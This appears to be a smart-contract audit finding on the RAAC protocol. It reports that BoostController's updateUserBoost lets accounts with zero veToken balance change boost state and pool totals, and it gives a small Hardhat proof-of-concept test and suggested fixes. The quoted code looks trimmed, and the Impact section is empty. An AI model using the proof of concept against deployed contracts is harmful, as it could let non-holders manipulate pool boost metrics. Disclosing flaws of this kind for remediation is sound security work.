Summary
The updateUserBoost
function in BoostController
allows users without any veToken balance to update boost states and affect pool metrics, violating the core principle that boost should only be available to veToken holders.
Vulnerability Details
https://github.com/Cyfrin/2025-02-raac/blob/89ccb062e2b175374d40d824263a4c0b601bcb7f/contracts/core/governance/boost/BoostController.sol#L177-L203
function updateUserBoost(address user, address pool) external override nonReentrant whenNotPaused {
uint256 oldBoost = userBoost.amount;
uint256 newBoost = _calculateBoost(user, pool, 10000);
userBoost.amount = newBoost;
userBoost.lastUpdateTime = block.timestamp;
if (newBoost >= oldBoost) {
poolBoost.totalBoost = poolBoost.totalBoost + (newBoost - oldBoost);
} else {
poolBoost.totalBoost = poolBoost.totalBoost - (oldBoost - newBoost);
}
poolBoost.workingSupply = newBoost;
}
In _calculateBoost
:
uint256 userBalance = IERC20(address(veToken)).balanceOf(user);
uint256 totalSupply = IERC20(address(veToken)).totalSupply();
if (userBalance == 0 || totalSupply == 0) {
return amount;
}
Poc:
let attacker ;
[owner, user1, user2, manager, attacker] = await ethers.getSigners();
it.only("should handle boost for none holders ", async () => {
console.log(
"vetoken balance of attacker: ",
await veToken.balanceOf(attacker.address)
);
expect(
await boostController
.connect(attacker)
.updateUserBoost(attacker.address, mockPool.getAddress())
)
.to.emit(boostController, "BoostUpdated")
.withArgs(attacker.address, mockPool.getAddress(), 0);
});
});
Output:
vetoken balance of attacker: 0n
✔ should handle boost for none holders
we can see that the test pass, anyone can just come and update their boost using the updateUserBoost
Impact
Tools Used
Manual review
Recommendations
Add veToken balance check:
function updateUserBoost(address user, address pool) external override nonReentrant whenNotPaused {
if (paused()) revert EmergencyPaused();
if (user == address(0)) revert InvalidPool();
if (!supportedPools[pool]) revert PoolNotSupported();
uint256 userBalance = IERC20(address(veToken)).balanceOf(user);
if (userBalance == 0) revert NoVeTokenBalance();
}
or revert for zero balance
function _calculateBoost(
address user,
address pool,
uint256 amount
) internal view returns (uint256) {
if (amount == 0) revert InvalidBoostAmount();
if (!supportedPools[pool]) revert PoolNotSupported();
(uint256 totalWeight, uint256 totalVotingPower, uint256 votingPower) = updateTotalWeight();
uint256 userBalance = IERC20(address(veToken)).balanceOf(user);
uint256 totalSupply = IERC20(address(veToken)).totalSupply();
if (userBalance == 0 || totalSupply == 0) {
revert ZeroBalance();
}
... rest of the code
}